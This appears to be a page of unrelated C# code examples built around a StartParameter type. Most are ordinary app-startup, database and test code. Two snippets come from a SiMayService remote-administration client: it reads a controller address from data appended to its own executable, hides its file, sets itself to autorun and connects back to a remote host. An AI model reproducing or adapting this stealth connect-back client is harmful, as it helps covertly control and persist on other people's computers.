/// <summary>
        /// Loader专用构造函数
        /// </summary>
        /// <param name="startParameter"></param>
        /// <param name="clientAgent"></param>
        /// <param name="session"></param>
        /// <param name="serviceIPEndPoint"></param>
        public MainService(
            StartParameter startParameter,
            TcpSocketSaeaClientAgent clientAgent,
            TcpSocketSaeaSession session,
            IPEndPoint serviceIPEndPoint
            )
        {
            _clientAgent     = clientAgent;
            _sessionKeepSign = 1;//主连接状态
            this.SetSession(session);

            session.AppTokens = new object[2]
            {
                ConnectionWorkType.MAINCON,
                null
            };

            AppConfiguartion.HostAddress        = startParameter.Host;
            AppConfiguartion.HostPort           = startParameter.Port;
            AppConfiguartion.AccessKey          = startParameter.AccessKey;
            AppConfiguartion.DefaultRemarkInfo  = startParameter.RemarkInformation;
            AppConfiguartion.DefaultGroupName   = startParameter.GroupName;
            AppConfiguartion.IsAutoRun          = startParameter.IsAutoStart;
            AppConfiguartion.IsHideExcutingFile = startParameter.IsHide;
            AppConfiguartion.RunTime            = startParameter.RunTimeText;
            AppConfiguartion.Version            = startParameter.ServiceVersion;
            AppConfiguartion.CenterServiceMode  = startParameter.SessionMode == 1 ? true : false;
            AppConfiguartion.IdentifyId         = startParameter.UniqueId;
            AppConfiguartion.ServerIPEndPoint   = serviceIPEndPoint;

            this.SendLoginPack(session);
        }
Exemplo n.º 2
0
        protected override void OnStart(StartParameter parameter)
        {
            base.OnStart(parameter);

            // Set the root ViewModel to be displayed at startup
            this.SetRootViewModel <DrawerViewModel>();
        }
        protected override IAsyncResult BeginExecute(AsyncCodeActivityContext context, AsyncCallback callback, object state)
        {
            INotificationCallback callBack = context.GetExtension <INotificationCallback>();

            if (callBack != null)
            {
                callBack.SendClientNotification(new ComponentProcessMessage().CreateServerMessage(
                                                    Batch.Get(context).Id,
                                                    Group.Get(context).Id,
                                                    Job.Get(context).Id,
                                                    "Job started"));
            }
            Thread thread = new Thread(DoProcess)
            {
                IsBackground = true
            };
            AsyncNodeResult result = new AsyncNodeResult(callback, state)
            {
                ComponentList = ComponentParameters.Get(context),
                StartNode     = StartParameter.Get(context),
                Job           = (ProcessJob)Job.Get(context),
                Batch         = Batch.Get(context),
                Group         = Group.Get(context),
                JobCallback   = context.GetExtension <INotificationCallback>(),
                RunningThread = thread,
            };

            context.UserState = result;

            thread.Start(result);
            return(result);
        }
 protected override void OnStart(StartParameter parameter)
 {
     base.OnStart(parameter);
     // Register required core app-level services via IoC
     // Container.Current.Register<IPaymentProcessor, PaypalPaymentProcessor>();
     // Set the root ViewModel to be displayed at startup
     this.SetRootViewModel <SimpleViewModel>();
 }
Exemplo n.º 5
0
        protected override void OnStart(StartParameter parameter)
        {
            base.OnStart(parameter);
            this.InitializeSettingTable();
            this.Initialize();
            // this.InitializeSetting();
            this.InitializeRepositories();

            this.SetRootViewModel <HomeViewModel>();
        }
Exemplo n.º 6
0
        private void Execute(IPlugin plugin, Dictionary <string, object> parameters,
                             out Dictionary <string, object> returnValues)
        {
            var pluginExecutor = PluginExecutor.CreateInstance();
            var startParameter = new StartParameter {
                Parameters = parameters
            };

            pluginExecutor.Execute(plugin, startParameter);
            returnValues = startParameter.ReturnValues;
        }
Exemplo n.º 7
0
        public void StartParameter001()
        {
            // Arrange
            var container = new List <string>();
            var parameter = new StartParameter <TestDocument>();

            parameter.Configure(10);

            // Act
            parameter.Execute(container);

            // Assert
            Assert.Equal(1, container.Count);
            Assert.Equal("start=10", container[0]);
        }
Exemplo n.º 8
0
 public void Start(StartParameter Start = StartParameter.Normal)
 {
     switch (Start)
     {
         case StartParameter.Normal:
             Windows.showMainWindow();
             break;
         case StartParameter.InTray:
             Windows.LogInTray();
             break;
         case StartParameter.FirstStart:
             Windows.showSettings(SettingsParametr.First);
             break;
     }
 }  
Exemplo n.º 9
0
        protected override void OnStart(StartParameter parameter)
        {
            base.OnStart(parameter);

            ISQLiteService service = ServiceProvider.GetService<ISQLiteService>();
            ISQLiteAsyncConnection connection = service.OpenDefaultConnection();
           
            if (!connection.Connection.TableExists<Property>())
                connection.CreateTableAsync<Property>();

            if (!connection.Connection.TableExists<RecentSearch>())
                connection.CreateTableAsync<RecentSearch>();

            // Set the root ViewModel to be displayed at startup
            this.SetRootViewModel<PropertySearchViewModel>();
        }
Exemplo n.º 10
0
        protected override void OnStart(StartParameter parameter)
        {
            base.OnStart(parameter);

            ISQLiteService         service    = ServiceProvider.GetService <ISQLiteService>();
            ISQLiteAsyncConnection connection = service.OpenDefaultConnection();

            if (!connection.Connection.TableExists <Property>())
            {
                connection.CreateTableAsync <Property>();
            }

            if (!connection.Connection.TableExists <RecentSearch>())
            {
                connection.CreateTableAsync <RecentSearch>();
            }

            // Set the root ViewModel to be displayed at startup
            this.SetRootViewModel <PropertySearchViewModel>();
        }
Exemplo n.º 11
0
        static void Main(string[] args)
        {
            _startParameter = new StartParameter()
            {
                Host              = "127.0.0.1",
                Port              = 5200,
                GroupName         = "默认分组",
                RemarkInformation = "SiMayService远程管理",
                IsHide            = false,
                IsMutex           = false,
                IsAutoStart       = false,
                SessionMode       = 0,
                AccessKey         = 5200,
                ServiceVersion    = "正式5.0",
                RunTimeText       = DateTime.Now.ToString(),
                UniqueId          = "AAAAAAAAAAAAAAA11111111"
            };
            //_startParameter.Host = "94.191.115.121";
            byte[] binary = File.ReadAllBytes(Application.ExecutablePath);
            var    sign   = BitConverter.ToInt16(binary, binary.Length - sizeof(Int16));

            if (sign == 9999)
            {
                var    length = BitConverter.ToInt32(binary, binary.Length - sizeof(Int16) - sizeof(Int32));
                byte[] bytes  = new byte[length];
                Array.Copy(binary, binary.Length - sizeof(Int16) - sizeof(Int32) - length, bytes, 0, length);

                int index  = 0;
                int id_len = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                string id = Encoding.Unicode.GetString(bytes, index, id_len);
                index += id_len;
                int host_len = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                string host = Encoding.Unicode.GetString(bytes, index, host_len);
                index += host_len;
                int port = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                int des_len = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                string des = Encoding.Unicode.GetString(bytes, index, des_len);
                index += des_len;
                int group_len = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                string groupName = Encoding.Unicode.GetString(bytes, index, group_len);
                index += group_len;
                bool isHide = BitConverter.ToBoolean(bytes, index);
                index += sizeof(bool);
                bool isAutoStart = BitConverter.ToBoolean(bytes, index);
                index += sizeof(bool);
                int sessionMode = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                int accessKey = BitConverter.ToInt32(bytes, index);
                index += sizeof(int);
                bool isMutex = BitConverter.ToBoolean(bytes, index);
                index += sizeof(bool);

                _startParameter.Host = host;
                _startParameter.Port = port;
                _startParameter.RemarkInformation = des;
                _startParameter.IsAutoStart       = isAutoStart;
                _startParameter.IsHide            = isHide;
                _startParameter.AccessKey         = accessKey;
                _startParameter.SessionMode       = sessionMode;
                _startParameter.UniqueId          = id;
                _startParameter.IsMutex           = isMutex;
                _startParameter.GroupName         = groupName;
            }

            if (_startParameter.IsMutex)
            {
                //进程互斥体
                Mutex MyMutex = new Mutex(true, "SiMayService", out var bExist);
                if (!bExist)
                {
                    Environment.Exit(0);
                }
            }

            if (_startParameter.IsHide)
            {
                CommonHelper.SetExecutingFileHide(true);
            }

            if (_startParameter.IsAutoStart)
            {
                CommonHelper.SetAutoRun(true);
            }

            Application.SetUnhandledExceptionMode(UnhandledExceptionMode.CatchException);
            Application.ThreadException += Application_ThreadException;

            AppDomain.CurrentDomain.UnhandledException += CurrentDomain_UnhandledException;
            AppDomain.CurrentDomain.AssemblyResolve    += (s, p) =>
            {
                var key      = p.Name.Split(',')[0] + ".dll";
                var assembly = Assembly.Load(_pluginCOMs[key]);
                _pluginCOMs.Remove(key);
                return(assembly);
            };

            var clientConfig = new TcpSocketSaeaClientConfiguration();

            if (_startParameter.SessionMode == 0)
            {
                //服务版配置
                clientConfig.AppKeepAlive = true;
                clientConfig.KeepAlive    = false;
            }
            else
            {
                //中间服务器版服务端配置
                clientConfig.AppKeepAlive = false;
                clientConfig.KeepAlive    = true;
            }
            clientConfig.KeepAliveInterval = 5000;
            clientConfig.KeepAliveSpanTime = 1000;
            _clientAgent = TcpSocketsFactory.CreateClientAgent(TcpSocketSaeaSessionType.Packet, clientConfig, Notify);
            while (true) //第一次解析域名,直至解析成功
            {
                var ip = CommonHelper.GetHostByName(_startParameter.Host);
                if (ip != null)
                {
                    _iPEndPoint = new IPEndPoint(IPAddress.Parse(ip), _startParameter.Port);
                    break;
                }

                Console.WriteLine(_startParameter.Host ?? "address analysis is null");

                Thread.Sleep(5000);
            }
            ConnectToServer();

            Application.Run();
        }
Exemplo n.º 12
0
        protected override void OnStart(StartParameter parameter)
        {
            base.OnStart(parameter);

            this.SetRootViewModel <DrawerViewModel>();
        }
Exemplo n.º 13
0
 protected override void OnStart(StartParameter parameter)
 {
     base.OnStart(parameter);
     this.SetRootViewModel<ColumnViewModel>();
 }